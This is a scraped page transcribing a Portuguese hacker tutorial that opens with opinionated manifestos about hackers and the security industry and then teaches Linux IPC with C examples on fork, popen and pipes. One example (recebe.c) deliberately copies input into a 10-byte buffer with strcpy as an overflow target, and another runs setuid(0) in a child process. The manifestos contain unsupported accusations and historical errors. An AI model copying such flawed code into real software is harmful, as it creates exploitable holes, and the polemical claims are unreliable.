prog basica

Download Prog Basica

If you can't read please download the document

Upload: elniel

Post on 20-Dec-2015

53 views

Category:

Documents


8 download

DESCRIPTION

programacao basica

TRANSCRIPT

########################################################################################################### UNSEKURITY TEAM ###########################################################################################################Desenvolvido por Nash Leon vulgo [email protected] Unsekurity Team.Este e outros tutoriais podem ser obtidos em:http://unsekurity.virtualave.net/OBS: Nao nos responsabilizamos pelas informacoes aqui contidas, bem como do mau uso dos exemplos e dados aqui fornecidos.Todo material disponivel neste arquivo possui somente propositos educacionais.OBS2: Isso aqui nao eh um zine, nem pretende se tornar.Trata-se apenas de um tutorial basico voltado para o pessoal NewBie, se voce eh 'elite', por favor, nao leia! Voce nao encontrarah informacoes uteis aqui. **************************************** PROGRAMACAO BASICA PARA FUCADORES ****************************************------------------------------- INDICE ----------------------------------1. INTRODUCAO2. MANIFESTOS 2.1. - A confusao dos Termos 2.2. - A Comunidade de Seguranca e Voce 2.3. - Codigo Aberto x Codigo Fechado 2.4. - O Lucro com o Hacking3. INTRODUCAO A IPC (InterProcess Comunication) 3.1. - Porque Aprender sobre IPC 3.2. - fork() 3.3. - Pipes 3.4. - Signals4. Problemas Simples de Seguranca 4.1. - popen() + Environment 4.2. - Problemas com system() 4.3. - Problemas com Shell Scripts 4.4. - Chamadas Para vi 4.5. - Problemas com File Descriptors5. LKM (Loadable Kernel Modules) 5.1. - Para que Aprender a Escrever LKMs 5.2. - Carregando e Descarregando um LKM 5.3. - Duas Funcoes Minimas 5.4. - Systemcalls 5.5. - Kernel-Symbols-Table 5.6. - Transformando Memoria do Kernel Space p/ User Space 5.7. - Meios de Usar User Space como Funcoes 5.8. - Lista de Funcoes usadas em Kernel Space 5.9. - O que eh um Kernel Daemon 5.10. - Criando Seu Proprio Device 5.11. - Alguns Macros 5.12. - Esquemas para Fucadores6. Shared Library 6.1. - O que sao 6.2. - Algumas Funcoes 6.3. - Tecnica de Redirecionamento 6.4. - Outros Esquemas7. TERMINANDO 7.1. Links e Referencias 7.2. Consideracoes Finais----------------------------------------------------------------------------------------1 - INTRODUCAO |---------------Demorou, mais aih estah a uniao de varios topicos de programacaorelacionados ao mundo fucador.Topicos basicos, mas que requeremconhecimentos em C e Linux. Resolvi incorporar a este tutorial uma partecom manifestos sobre varios temas, nao pretendo despertar odio com issoe sim, abrir a discussao em torno de alguns pontos 'nao-tecnicos' queenvolvem o mundo do fucador.Cada item do tutorial tem como alvo osmesmo leitores dos tutoriais anteriores, ou seja, Fucadores NewBies.Fica avisado novamente que se voce eh 'elite' nao acharah nada utilneste tutorial.----------------2. - MANIFESTOS |----------------OBSERVACAO: OS PENSAMENTOS EXPRESSOS NESTE ITEM SAO DE MINHA AUTORIA, SAO DE MINHA PESSOA.O UNSEKURITY TEAM DAH AOS SEUS MEMBROS A LIBERDADE PARA SE EXPRESSAR DA MANEIRA QUE BEM ENTENDER.NO ENTANTO, CADA MEMBRO POSSUI SEU PROPRIO MODO DE VER AS COISAS. AS COISAS QUE ESCREVO AQUI NAO SAO COMPARTILHADAS POR TODOS DO UNSEKURITY TEAM, E A RESPONSABILIDADE PELAS LINHAS QUE SE ENCONTRAM NESTE ITEM CABE A MINHA PESSOA, NASH LEON, ESTANDO DESDE JAH CLARO QUE EH UMA ATITUDE ISOLADA! AVISO AO LEITOR QUE ELE NAO DEVE JULGAR O UNSEKURITY TEAM ATRAVES DAS PALAVRAS E PENSAMENTOS DE UM SOH MEMBRO."Conhecereis a verdade e ela vos libertarah""De que adianta ter um excelente conhecimento tecnico sobre o hacking,mas seguir por caminhos detestaveis pela comunidade hacker???".O quequero nesta parte eh compartilhar um pouco da minha opiniao sobre algunsassuntos nao-tecnicos, mas que envolvem o mundo do fucador.Nao adiantanada eu escrever 2 mil linhas de textos tecnicos para um cara se tornarcracker ou ser moldado como um fantoche de grandes empresas porque naofoi bem informado! Se nao tivermos o minimo de senso critico, certamenteseremos facilmente enganados por esta corja que aih se encontra.Vou dizero que penso sobre determinados temas, mas o intuito aqui eh fazer voce pensar sobre eles usando seu proprio senso critico e buscando a verdadeatras do fatos.Se pergunte sobre os porques, levante duvidas, raciocine!Meus txts ganharam a abrangencia que eu desejava, mas de nada adiantarahexpandir os conhecimentos tecnicos se nao puder dar a conhecer algunspensamentos 'eticos'.Se esta parte te interessa recomendo a voce le-lacom bastante calma, sendo critico e procurando ver o que estah por trasde cada afirmacao! Se voce pensa igual ou diferente, nao importa! Euquero apenas que voce pense! Seja Critico!!2.1. - A confusao dos Termos-----------------------------O que eh ser hacker afinal?? O que eh ser um fucador??? A midia, como em tudo, demonstra ignorancia quanto a verdade, alienando maise mais pessoas.A parte podre da comunidade de seguranca nao pensa em outracoisa a nao ser 'sujar' a definicao ao maximo.E voce, sabe o que eh serum hacker??? A origem do termo hacker remonta aos primordios da revolucao tecnologica.Na verdade, se for levar ao peh da letra, os hackers derivam dos phreaks,que se originaram nos primordios da invencao do Telefone.Mas no entanto,o termo soh veio se popularizar depois que os phreaks comecaram a se difundir em larga escala, isso se deu no inicio da decada de 70, mais oumenos.A inspiracao maior no mundo 'phreak' deu inicio com john drapervulgo Capitao Crunch, ele descobriu um metodo de fazer ligacoes gratuitasusando um apito que vinha numa caixa de cereais.A popularizacao destatecnica levou dois jovens inescrupulosos a automatizarem o processo, criando as famosas RED BOX, esses dois individuos se chamam Steve Jobse Steve Wosniak(Ambos fundadores da APPLE).Desde entao houve um crescimento consideravel das tecnicas e meios de manipular o sistemaTelefonico americano.Enquanto os phreaks cresciam em numero econhecimentos, no MIT(Instituto Tecnologico de Massachussets), estudantesarrombaravam salas de informatica a noite para poderem aprender mais sobreos carissimos Sistemas de Computadores.A palavra hacker em ingles significa 'machado de duas pontas', muito provavelmente eles usavam isso paraquebrarem os cadeados, ou o proprio comportamento deles se assemelhava aisso.Eles queriam obter conhecimentos a qualquer custo.O conceito 'hacker'expandiu, ou seja, varias pessoas queriam dominar um conhecimento cadavez maior sobre algo, nao importando os meios que usassem.'A busca peloconhecimento eh uma atividade basica do ser humano', logo nao deve serrepelida.Durante a decada de 80 muita coisa aconteceu no cenario hacker-phreak, levando desde perseguicao, criacao de leis rigorosas ateh umamaior compreensao de algumas entidades e a criacao de varias 'entidades'de defesa dos ideais e interesse dos hackers... O que chamo aqui deentidade, nao eh nada relacionado ao que conhecemos por entidade, eh maisalem, algumas delas eh fundamental um fucador conhecer, como a EletronicFrountier Foundation(EFF), a 2600(o quartel general hacker), e etc.Se voce for buscar a verdade bem no fundo verah que quase tudo relacionadoa informatica hoje em dia teve uma colaboracao maior de hackers.Internet,PC, Softwares Gratuitos, enfim os hackers se expandiram em todos ossegmentos da informatica aprimorando-os sempre.A relacao do hacker e dophreak eh mais alem, no inicio os phreaks lutavam contra as grandescompanhias telefonicas, as grandes corporacoes e os governos, nao possuiamnacionalidade e nao defendiam uma etnia, eram livres e os unicos 'inimigos'era justamente esses jah citados.Invadiam sistemas telefonicos, ensinavamtruques para se fazer ligacao gratuita, etc.. Os hackers tambem trilharamo mesmo caminho unido forcas e lutando pelos mesmos ideiais, desafiandoos mesmos inimigos e divulgando o que consideravam a sua maior bandeira:"A LIBERDADE DE INFORMACAO", isto culminou em 1984 com a criacao do projetoGNU, criado por um hacker.Desde jah fica evidente que um hacker nao trabalha para grandes corporacoes ou empresas sem escrupulos(Microsoft,Conectiva, Sun, Apple, Intel e etc).. Sim, os hackers lutavam contraempresas deste tipo e continuam lutando!! Mas eles(os inimigos) tem osmeios de comunicacao, possuem os governos em suas maos, entao logo veio aretaliacao,e uma verdadeira caca as bruxas ocorreu no Estados Unidos em 1990/1991,batizada de Operacao SunDevil, muita gente inocente foi presa e vidas foram acabadas.No brasil, somente na decada de 90 veio a ocorrer uma maior divulgacao dotermo hacker e da etica hacker, o zine 'Barata eletrica' de DenervalCunha foi e tem sido quem mais expandiu o que representa a etica hackere a 'cultura' pregada pelo hacking.Este zine eh leitura obrigatoria paraqualquer fucador etico!Os termos hoje em dia estao confusos, muita gente prefere nao serconsiderado como hacker pois pode ser banalizado ou mesmo prejudicado, aofensiva dos 'inimigos' foi grande, e os verdadeiros hackers tem sofridona pele a consequencia desta 'guerra'! Ainda ha muito para ser feito, muita gente possui total ignorancia quanto aos termos, mas o que devemossempre deixar claro eh que hacker nao eh cracker, e que a Comunidade deSeguranca nao eh, nunca foi, e nunca vai ser aliada dos hackers, elesfazem parte do sistema!!! Sabemos que existe gente seria na Seguranca, eho que chamamos de 'parte boa' da Seguranca, no entando a maioria nao oeh, eh o que chamamos de 'BANDA PODRE!'. Um hacker nao muda home page oudestroi um sistema, quem faz isso sao kiddies ou lamers, sejamos bemevidentes nisso!!! Mesmo que chamem para questoes ideologicas, nao fazparte do hacking qualquer ideologia NACIONALISTA!! A Comunidade hackereh uma soh, assim como as grandes corporacoes o sao, ou voce acha quea Microsoft Brasil e melhor, mais legal, mais escrupulosa do que aMicrosoft USA?? Quanto aos crackers, eles tem levado vantagem em tudo, com o termo hackerderrubado, com hackers de verdade sendo perseguidos, esses crackers temvencido a batalha..A comunidade de seguranca nunca foi competente obastante, os hackers ajudam, mas 'a banda podre' nao ve com bons olhos,termina os crackers se dando bem e os hackers e os usuarios normaissaindo prejudicados. Agora eu te pergunto, a comunidade de segurancaganha ou perde com os crackers??? Ao meu ver eles ganham, por isso, aomeu ver, Crackers e Banda Podre da Comunidade de Seguranca sao um soh!!!Abra os olhos, a verdade tah procurando voce!!!2.2. - A Comunidade de Seguranca e Voce------------------------------------------Temos que saber diferenciar o que estah por tras.No item anterior eu faleisobre dois lados da Comunidade de Seguranca, a banda podre e a "parte boa"(parte boa entre aspas).Se voce eh um fucador experiente certamente sabe mais coisas sobre istodo que eu, mas falarei um pouco do que eu acho, para que os mais novospossam levantar criticas.Podemos dividir a comunidade de Seguranca em 4 grupos, vejamos abaixo:* OS DESINFORMADOS-------------------Estes sao aqueles que nao conhecem o que eh hacker, nem o que eh cracker.Nao conhecem a historia da informatica, nao sabem a origem da Segurancade Sistemas Informatizados, e sao 'moldados' pela banda podre dacomunidade de seguranca e pela midia.Na grande maioria sao estudantesuniversitarios ou recem formados que partiram para a Seguranca porque eho que mais dah dinheiro hoje em dia, se desse mais dinheiro mexer comoutra coisa, eles estariam lah com certeza.Nao possuem a paixao pelo quefazem e odeiam os hackers puramente porque foram 'ensinados' a odiarem.Esta eh a parte mais inofensiva que existe, e a unica que ainda pode ser'ganha' para a causa, ou seja, ainda podemos mudar a opniao deles quantoao termo hacker.Necessitam de ajuda, pois nao possuem a malicia, e naoconhecem a capacidade de um cracker.* OS MEDROSOS-------------- Essa eh uma 'classe' esquisita da Comunidade de Seguranca.Sao pessoasque sabem diferenciar os termos crackers e hackers, simpatizam com asideologias dos hackers, conseguem ver a beleza da etica, no entanto temem!Temem perderem seus empregos para hackers com maiores conhecimentos! Tememperderem seus empregos se defenderem os hackers em alguma situacao!!Temem!!Na maioria sao pessoas com bons conhecimentos tecnicos, mas trabalhando emempresas erradas! Costumam ficarem quietos, nao opinando em quase nadafora do 'assunto tecnico'.Alguns possuem uma vontade de libertar oespirito hacker de dentro dele, mas algo nao permite, temem morrerem defome por defenderem a causa hacker, temem muitas outras coisas, por issosao considerados como os medrosos!!* A BANDA PODRE----------------A banda podre eh bem ramificada.Na grande maioria sao altos funcionariosde grandes empresas(Microsoft, NAI,Norton, etc), que detonam o termo hackerporque os hackers sao os unicos que os denunciam.Sao esses que se alegram quando um cracker consegue fazer algo grandioso pois eles irao lucrar vendendo mais seus produtos e servicos.Defendem com unhas e dentes os produtos que comercializam, mesmo chegando as vezes a falarem 'loucuras'para poderem enganar os que nao enxergam o que estah por tras dos seusinteresses.Alguns fabricam virus, colocam a culpa nos hackers(hackers naopublicam virus) e depois vendem antitodos e antivirus para combaterem apraga que eles mesmo criaram.Outras empresas se unem a governos e fraudamo processo elitoral para que um determinado 'candidato' venca para depoisassinar um contrato milionario com a empresa.Essas pessoas representamaquelas grandes corporacoes que vimos no item anterior, e elas eh quemdevemos denunciar!* A PARTE BOA--------------A parte boa eh representada por alguns membros(menos de 0,01%) da Comunidadede Seguranca que acreditam nos ideiais hackers, divulgam o sentido dostermos, ajudam hackers quando perseguidos, se aliam a hackers paradenunciar problemas com a 'banda podre' e as empresas representadas poresta 'banda podre', e principalmente lutam pela seguranca por usuarioscomuns.Essa parte boa goza de um prestigio grande na Comunidade Hacker esao sempre bem quistos.Alguns abandonam a Comunidade de Seguranca e passama fazer frente na Comunidade Hacker, outros acreditam que estar naComunidade de Seguranca serve como estrategia para 'derrubar' ascorporacoes inescrupulosas e a 'parte podre'.Esses profissionais possuemo meu total respeito e consideracao.Agora que voce sabe quem eh quem, abra os olhos para nao ser ludibriado.Cuidado com 'as raposas vestidas de cordeiros'.Fique atento sempre!!Seja Critico!2.3. - Codigo Aberto x Codigo Fechado--------------------------------------Essa discussao vem ganhando ambito, principalmente no que se pode chamar de'guerra' entre Windows e Linux.O que voce acha mano, codigo fonte abertoeh mais seguro do que fechado?? Para um hacker o que eh melhor??Irei expor minha opiniao sobre isso, analise voce mesmo e tire suasconclusoes.O codigo aberto nada mais eh do que a exposicao total dos codigos fontesque serao usados por determinada aplicacao ou programa.Essa filosofiaganhou forca apos a criacao do projeto GNU que tornava livre os softwares.Muitos sistemas adotam esta filosofia, inclusive o Sistema OperacionalOPENBSD considerado atualmente como o sistema operacional mais seguro queexiste.Esse exemplo por sih soh jah mostra que o codigo fonte aberto ehalgo bom para a seguranca de um Sistema Operacional.A guerra que vem sendotravada no momento eh Linux x Windows, e nao OpenBSD x Windows, consegueentender?? A Microsoft tem perdido fatia no mercado para o Linux, entaoela precisa atacar o Linux de alguma forma e o alvo escolhido foi oconceito 'Codigo Fonte Aberto'.Para um hacker o que eh melhor, abertoou fechado???E para um cracker?? Por que pessoas defendem o codigo fontefechado?? Respostas a essas perguntas seguem abaixo:+ Para um hacker, o que eh melhor em busca de 'LIBERDADE DE INFORMACAO' e a seguranca dos usuarios comuns, eh o melhor para ele.No primeiro ponto, o codigo fonte aberto proporciona um maior intercambio, maior troca de informacoes, uma evolucao maior no aprendizado da informatica.Com o codigo fonte aberto varios usuarios podem opinar, melhorar o programa, apontar erros e solucoes, podem 'personalizar' o sistema.A seguranca tende a aumentar, pois muita gente estarah analisando os codigos, seja em busca de bugs ateh backdoors,para o usuario comum isto eh lucro! Entao o codigo fonte aberto soh traz beneficios, logo, um hacker defende o aumento deste conceito, pois todos tem a ganhar, exceto os inimigos dos hackers, que vimos anteriormente, pois eles sobrevivem no ocultismo.+ Para um cracker o software aberto eh uma barreira.Torna a longo prazo, mais dificil dele penetrar nos sistemas, e a instalacao de backdoors e virus passa a ser infinitamente mais visivel que num codigo fechado.A troca de informacoes prejudica a acao de crackers, pois uma tecnica que ele domina hoje eh mais rapidamente combatida com a troca de informacoes, jah que a solucao nao estarah somente nas maos de 1 unica empresa.Nao se iluda amigo, os crackers hoje em dia possuem conhecimentos maiores que a atual Comunidade de Seguranca! + Mas vemos pessoas defenderem o uso de softwares com codigo fonte fechado! Nao podemos generalizar, mas nesse ponto, ao meu ver, as pessoas que defendem o uso de software de codigo fechado podem ser divididas em dois grupos.Sao eles: * Os Desinformados -> Falta conhecimentos sobre tecnicas usadas por crackers e nao conhecem nem mesmo as estatisticas divulgadas de invasoes.Acham que crackers nao possuem conhecimentos superiores aos deles e creem que uma forma de barrar a acao dos crackers eh justamente limitar a 'liberdade de informacao'.Chegam ao cumulo de acharem que crackers aprendem atraves de mail list como bugtraq!! Crackers e Hackers estao ha alguns passos do que eles consideram 'conhecimento tecnico avancado' de pratica de seguranca.A grande maioria dessas pessoas obedecem ao ego e por isso possuem sua parte de culpa 'no crescimento dos crimes de informatica'. * Os Inescrupulosos -> Esses sao os que defendem pensando em interesse proprio.Nao se importa com o usuario comum e defendem o codigo fonte fechado porque trabalham para empresas que usam codigo fonte fechado! Sao pessoas inescrupulosas, pois conhecem a verdade, mas defendem a mentira unicamente para obterem vantagens pessoais.Pregam a obscuridade em tudo, ou seja, jamais ensinam o que aprenderam(olha que na maioria das vezes eles aprendem com hackers!).Temem que um maior crescimento da conciencia de software livre e liberdade de informacao possam deixa-los desempregados.Sao pessoas capazes de fazerem coisas 'monstruosas' para defenderem seus lucros, inclusive injetarem backdoors nos seus produtos a mando de um governo qualquer(vide chave NSA).Eh bastante comum em mail lists aparecem mensagens de pessoas que defendemo codigo fonte fechado.Muita discussao rola sobre isso, mas amigo, opessoal mais velho jah conhece muito bem essas figuras.Nao perca seu tempodiscutindo em mail lists, o que eu tenho visto ultimamente, eh um monte degente defendendo empresas sem escrupulos(Microsoft,SUN, Red Hat, Conectiva, etc, etc e etc) por interesses proprios.Nao se preocupe, pois qualquer um com conhecimentos basicos de informatica sabe que essas empresas nao sao boas na parte tecnica e pessimas na parte etica.E alem de tudo, a verdadeeh uma soh e ela se manifesta no tempo apropriado!2.4. - O Lucro com o Hacking-----------------------------Livros, revistas, jornais, filmes,patrocinios em home pages e etc..Atualmente falar sobre hackers eh alvo rentavel, existem dezenas de livrosque vendem 'tecnicas milagrosas' para se invadir redes como a do pentagono.Existem sites que esbanjam o nome 'HACKER' em atividades criminosas embusca de obter retorno de investimento.Membros da parte podre da comunidadede seguranca dando cursos e mais cursos visando nada mais nada menos doque formulas de como se livrar dos hackers.Jornalistas inescrupulosos atrasde 'ibope' e ascensao meteorica na carreira entrevistando criminosos ecriancas que se dizem hackers.Essas pessoas sao despreziveis, sua essenciaeh desprezivel.O hacking eh maior do que tudo isto, a beleza do hacking nao pode sercomercializada, pois pouca gente conseguiria visualizar a leveza egrandiosidade que envolve a etica hacker.As pessoas hoje em dia buscamlucro em tudo que se pode imaginar, e o hacking nao eh diferente.Quanto mais catastrofico o cenario, melhor para essas pessoas, no entanto,o hacking tem superado isto tudo e permanece vivo apos todas essassucessivas 'difamacoes'.Temos pessoas ainda hoje em dia que contemplam averdade e buscam viver a verdade.Nenhuma riqueza no mundo eh capaz dealegrar o coracao de um fucador como o hacking etico consegue fazer.Mesmo com toda essa 'sujeira' ainda existe uma esperanca e eh por issoque escrevo.O hacking puro eh capaz de mudar mentalidades e fazertransparecer a verdade, verdade estah que estah oculta aos olhos damaioria das pessoas.A etica hacker eh capaz de nos ensinar valores moraisque toda a sociedade se alegraria em ver! O hacker nao eh nacionalista,ele busca a paz, nao eh ganancioso e nem capitalista, ele eh democratico, eh sincero, eh verdadeiro.Um hacker ehum sonhador, eh um revolucionario, eh um co-irmao de todos os oprimidos ediscriminados.Um hacker eh justo e fiel, se apega a seus principios emorre defendendo eles.A etica hacker estah alem de uma pessoa soh, estahalem de uma comunidade soh ou de um pensamento soh! A essencia do hackereh a liberdade! Liberdade esta verdadeira, nao a pregada por governos.Um hacker eh um guerreiro, um guerreiro em fase de extincao!Este eh o meu pensamento sobre esses assuntos.Tem muito mais coisas parase discutir.A etica hacker nao eh um pensamento de um soh homem.Existembons textos que divulgam 'a etica hacker em sua essencia', recomendo aleitura do zine Barata Eletrica, lah voce poderah encontrar informacoesvaliosissimas! Estou aberto a discussao e a receber opinioes sobre essesassuntos, meu e-mail estah a disposicao. Seja critico nas coisas que euescrevi, pergunte a sih mesmo se o que escrevi eh verdade, se essas coisassao assim mesmo, busque voce mesmo formar a sua opiniao a respeito dessesassuntos, nao deixe nunca alguem "escravizar a sua mente".As dificuldadesda vida sao muitas, e pessoas mudam... Mas os feitos permanecem, e seconseguir enxergar os feitos, verah a grandiosidade ou a monstruosidade das pessoas!HACK THE PLANET!!!!------------------------------------------------3. INTRODUCAO A IPC (InterProcess Comunication) |------------------------------------------------Alguns topicos descritos aqui requerem conhecimentos basicos de C e Linux.Mais uma vez teclo numa tecla, descreverei somente o basico de IPC, sevoce jah sabe tudo, nao perca seu tempo, algo mais completo sobre esteitem, em breve estarah disponivel, aguarde!3.1. - Porque Aprender sobre IPC---------------------------------Sem sombra de duvidas, um fucador quer aprender tudo que possa um dia vira ser util para o mesmo.Sao tantas as coisas para se aprender, que hojeem dia eh muito dificil um soh fucador obter conhecimentos sobre todas astecnicas e artimanhas que rondam o "mundo virtual" de um fucador, pode-seateh considerar isto como "quase" 'impossivel', mas nesse mundo virtual,nada deve ser considerado como sendo impossivel.IPC eh uma parte daprogramacao que se refere a escrita de programas que se comunicam, comoassim se comunicam? Esses programas podem ser descritos como programas quese interagem, seja no seu funcionamento normal(Exemplo: Cliente/Servidor)ou numa simples chamada de execucao de um programa por outro(Exemplo: Usarexecl num programa qualquer).Um exemplo bastante util de IPC sao ossockets,porque seus processos se comunicam, eh por isso que programacao desockets eh considerado como sendo uma das inumeras ramificacoes de IPC.Outro exemplo simples de IPC encontra-se na execucao de exploits parabuffer overflows, e eis aih o principal motivo para aprendermos sobre IPC.Mas alem de exploits p/ overflows, IPC pode ser utilizado por um fucadorpara varios objetivos, pois melhora consideravelmente as solucoes paraeventuais problemas, alguns exemplos de programas sao melhoresconstruidos e executados com o uso de IPC sao: Sniffers, Programas queagem com multiplexacao de Entrada e Saida(TTY HIJACKING), Craqueadores(Desencriptadores), Scanners(Multiplas entradas e saidas, tambem multiplossockets) e etc.Enfim, sao varios as possiveis utilizacoes dessa tecnica deprogramacao por parte de fucadores.Irei descrever algumas delas, coisasbasicas, nao quero entrar em conceitos mais complexos e muito menos emtecnicas de algoritmos mais complexas e eficientes, tentarei ser o maispratico possivel.3.2. - fork()--------------Para que possamos entender bem uma interacao entre processos, eh necessarioque saibamos o que eh um processo pai e um processo filho.O Linux nospermite a interecao de mais de um programa usando um processo superior,ou seja, voce executa apenas um programa e ele irah executar varios, ouinteragir com varios, executar diversas acoes, e etc atraves da criacao deprocessos inferiores(filhos) que se interligam ao processo superior(pai).Um meio de se fazer isso eh atraves da funcao fork().Ela eh responsavel pela criacao de um processo filho.O que a funcao fork() faz eh somente criar um processo filho.Sua sintaxesegue abaixo:#include pid_t fork(void);Vamos analisar o exemplo abaixo do uso da funcao fork().------------------------------ fork1.c ---------------------------------#include #include #include #include main(){pid_t pid;int rv;switch(pid=fork()) {case -1:perror("fork");exit(1);case 0:printf("FILHO: Eu sou o processo filho!\n");printf("FILHO: Meu PID eh %d\n", getpid());printf("FILHO: O PID do meu pai eh %d\n", getppid());printf("FILHO: Digite o meu status de saida(numero pequeno): ");scanf(" %d", &rv);printf("FILHO: Vou sair com meu pai!\n\n");exit(rv);default:printf("PAI: Eu sou o processo pai!\n");printf("PAI: Meu PID eh %d\n", getpid());printf("PAI: O PID do meu filho eh %d\n", pid);printf("PAI: Eu estou agora esperando pelo meu filho para sair...\n\n");wait(&rv);printf("PAI: Status de saida do meu filho eh: %d\n",WEXITSTATUS(rv));printf("PAI: Estamos saindo daqui!\n\n"); }return 0;}---------------------------------------------------------------------------Compile o exemplo acima e execute-o.Abra outro console e quando ele pedirpara voce digitar o status para saida, no outro console voce digita 'ps aux', vejamos:+ Num Console:$ ./fork1PAI: Eu sou o processo pai!PAI: Meu PID eh 204PAI: O PID do meu filho eh 205PAI: Eu estou agora esperando pelo meu filho para sair...FILHO: Eu sou o processo filho!FILHO: Meu PID eh 205FILHO: O PID do meu pai eh 204FILHO: Digite o meu status de saida(numero pequeno):+ No outro Console: $ ps aux...nashleon 204 0.0 3.4 1028 356 tty3 S 10:53 0:00 ./fork1nashleon 205 0.0 3.6 1032 376 tty3 S 10:53 0:00 ./fork1nashleon 206 0.0 9.5 2612 972 tty4 R 10:54 0:00 ps aux Note que realmente eh criado um processo filho(205).Vejamos outro exemplopara que voce possa ir vendo na pratica o uso de fork().------------------------------- fork2.c ---------------------------------#include #include int algo();main(){char opcao[2];printf("\n**** MENU DE ACOES ****\n\n");printf("1 - Executar Algo ; 2 - Sair\n\n");printf("Digite a opcao desejada: ");scanf("%1s",opcao);if(!strcmp(opcao,"1")){algo();exit(0);}if(!strcmp(opcao,"2")){printf("Saindo..\n");exit(0);}printf("Opcao Errada!!\n");return 0;}int algo(){printf("Preparando para registrar tentativa de login mal sucedida...\n");usleep(1000000);if(!fork()){/* Soh para ilustrar algumas possibilidades */setuid(0);printf("Analisando registro de logs!!\n");printf("Atualizando Daemon!!\n");printf("Usuario logado no sistema!!\n");exit(0);}setuid(getuid());usleep(1000000);printf("Daemon Rodando Normalmente!!\n");return 0;}-------------------------------------------------------------------------Este programa eh apenas ilustrativo, pode-se contemplar um problema derace condition nele.O importante eh notarmos que ele cria um processofilho para executar uma tarefa enquanto o processo pai fica "esperando",entre aspas, pois ele nao espera uma respostas do processo filho para darcontinuidade a execucao de sua tarefa, no exemplo anterior havia umainteracao entre os processos, neste exemplo acima, na verdade nao existe.Milhares de programas sao criados usando fork(), mais abaixo,na parte deproblemas com File Descriptores voce poderah saber mais sobre algumas tecnicas usadas por fucadores em cima disso.3.3. - Pipes-------------Qualquer usuario de sistemas Linux(DOS tem tambem) sabe o que eh o pipesymbol(|) e o que ele faz.Pode-se dizer que o pipe symbol eh responsavelpela execucao de uma Comunicacao entre Processos, executando algumas vezesdois ou mais processos ao mesmo tempo.Vejamos um simples exemplo disso:[localhost:]# cat /etc/passwd | grep 'adm'adm:x:3:4:adm:/var/log:No exemplo acima podemos notar a Interacao entre os processos.Existeminumeros possiveis exemplos de uso de um pipe symbol em Linux, mas essetopico(pipes) eh bem mais amplo.Um programa em C eh capaz de executar Interacoes entre Processos como oexemplo acima citado, sendo que na linha de comando do Linux existe umarestricao muito grande, coisa que eh sanada com a escrita de programasem C que usam pipes.Veremos abaixo como criar programas desse tipo.3.2.1 - Criando Pipes em C---------------------------Antes de comecarmos, qualquer duvida referente a qualquer funcao deveantes de mais nada tentar ser solucionada via man pages.As man pages,assim como qualquer documentacao no Linux, ajudam sempre o usuario nasolucao de problemas, se todos lessem as man pages, com certeza naoteriamos tanto lixo nas nossas contas de e-mails vindo de mail lists.Veremos como fazer dois ou mais processos se comunicarem via pipe:* Primeiro abrimos um pipe.O Linux permite dois meios de se abrir um pipe, sao eles via:+ popen() -> FILE *popen(char *comando, char *tipo) Cria um pipe para I/O(Entrada e/ou Saida) onde o "comando" eh o processo que se conectarah(comunicarah) com o outro processo chamada pela criacao do pipe.O tipo pode ser "r" para leitura ou "w" para escrita. Um pipe aberto por popen() deve ser fechado por pclose(FILE *stream). Usamos fprintf() e fscanf() para se comunicar com o stream do pipe. Vejamos um exemplo abaixo:--------------------------------recebe.c-------------------------------/* PROGRAMA QUE IRAH SERVIR DE EXEMPLO PARA IPC VIA POPEN() */#include #include #include #include main(){char buffer[10],buffer2[20];printf("Digite seu nome: ");scanf("%s",buffer2);strcpy(buffer,buffer2);printf("Seja bem vindo %s.\n",buffer);}-------------------------------------------------------------------------Compile o programa acima, ele irah servir de exemplo para nosso programaIPC que irah se comunicar com este programa acima.-------------------------------envia1.c----------------------------------/* Simples Exemplo de PIPE via popen(). */#include #include #include FILE *alvo;main(){char *string = "HACKER";alvo = popen("./recebe","w"); /* Cria arquivo pipe */fprintf(alvo,"%s",string); /* Envia string para Programa */pclose(alvo); /* Fechar Arquivo Pipe */printf("\nArquivo Executado com Sucesso!\n");return 0;}-------------------------------------------------------------------------Aih estah um exemplo de pipe via popen().Veja a Interacao entre os doisprogramas acima.Este eh um exemplo simples, nao se preocupe como o modocom que os dados sairam na tela.Como podemos notar, existe uma semelhanca muito grande entre manipular umpipe criado via popen e manipular(ler e/ou escrever) um arquivo via fopen().Mas lembrando, existem diferencas e devemos ter em mente que sao situacoesdiferentes, voce verah isso mais abaixo.Vejamos agora o outro metodo parase criar um pipe:+ pipe() -> int pipe(int fd[2]) Cria um pipe e retorna dois arquivos descritors(file descriptors), fd[0], fd[1].fd[0] eh aberto para leitura e fd[1] para escrita.O modelo de programacao padrao eh que apos o pipe ter sido setado, dois ou mais processos cooperativos irao ser criados por um fork() e dados serao tranferidos usando read() e write(). Um pipe aberto com pipe() deve ser fechado usando close(int fd).Abaixo segue um exemplo de um programa que cria um pipe por este metodo:----------------------------- pipefd1.c ------------------------------#include #include #include main(){int pfds[2];char buf[30];if (pipe(pfds) == -1) {perror("pipe");exit(1); }printf("Escrevendo do File Descriptor #%d\n", pfds[1]);write(pfds[1], "HACKER", 7);printf("Lendo do File Descrriptor #%d\n", pfds[0]);read(pfds[0], buf, 7);printf("File Descriptor #%d escreveu: \"%s\"\n",pfds[1], buf); }------------------------------------------------------------------------Note que um File Descriptor envia dados para outro.Como foi dito, pfds[0]eh o File Descriptor de Recebimento ou de Leitura, e o pfds[1] eh oFile Descriptor de Envio ou de Escrita.Vejamos o exemplo abaixo com ouso de fork();----------------------------- pipefd2.c --------------------------------#include #include #include #include main() {int pfds[2];char buf[30];pipe(pfds); /* Cria o pipe */if (!fork()) { /* Cria um processo filho */printf(" FILHO: escrevendo para o pipe\n");write(pfds[1], "test", 5); /* Escreve para pfds[1] */printf(" FILHO: saindo\n");exit(0); }else {printf("PAI: Lendo do pipe\n");read(pfds[0], buf, 5); /* le de pfds[0] */printf("PAI: \"%s\" lido\n", buf);wait(NULL); } }-----------------------------------------------------------------------Executando este programa a sua saide deve ser:$ ./pipefd2PAI: Lendo do pipe FILHO: escrevendo para o pipe FILHO: saindoPAI: "test" lidoComo podemos ver, nao tem muito segredo, na interacao usando pipe() efork().Tenhamos em mente que um File Descriptor eh para escrita e o outropara leitura.Veremos agora o uso de pipe() em um processo conhecido, por exemplo,o que vimos acima: "cat /etc/passwd | grep 'adm'"; Usando o mesmo metododescrito acima, estamos habilitados a executar interacoes deste tipo.------------------------------ pipefd4.c --------------------------------#include #include #include int main(){int pfds[2];char arquivo[20], usuario[20];strcpy(arquivo,"/etc/passwd");sprintf(usuario,"adm");pipe(pfds);if (!fork()) {close(1); /* Fecha Saida Padrao(stdout) */dup(pfds[1]); /* Torna pfds[1] saida padrao 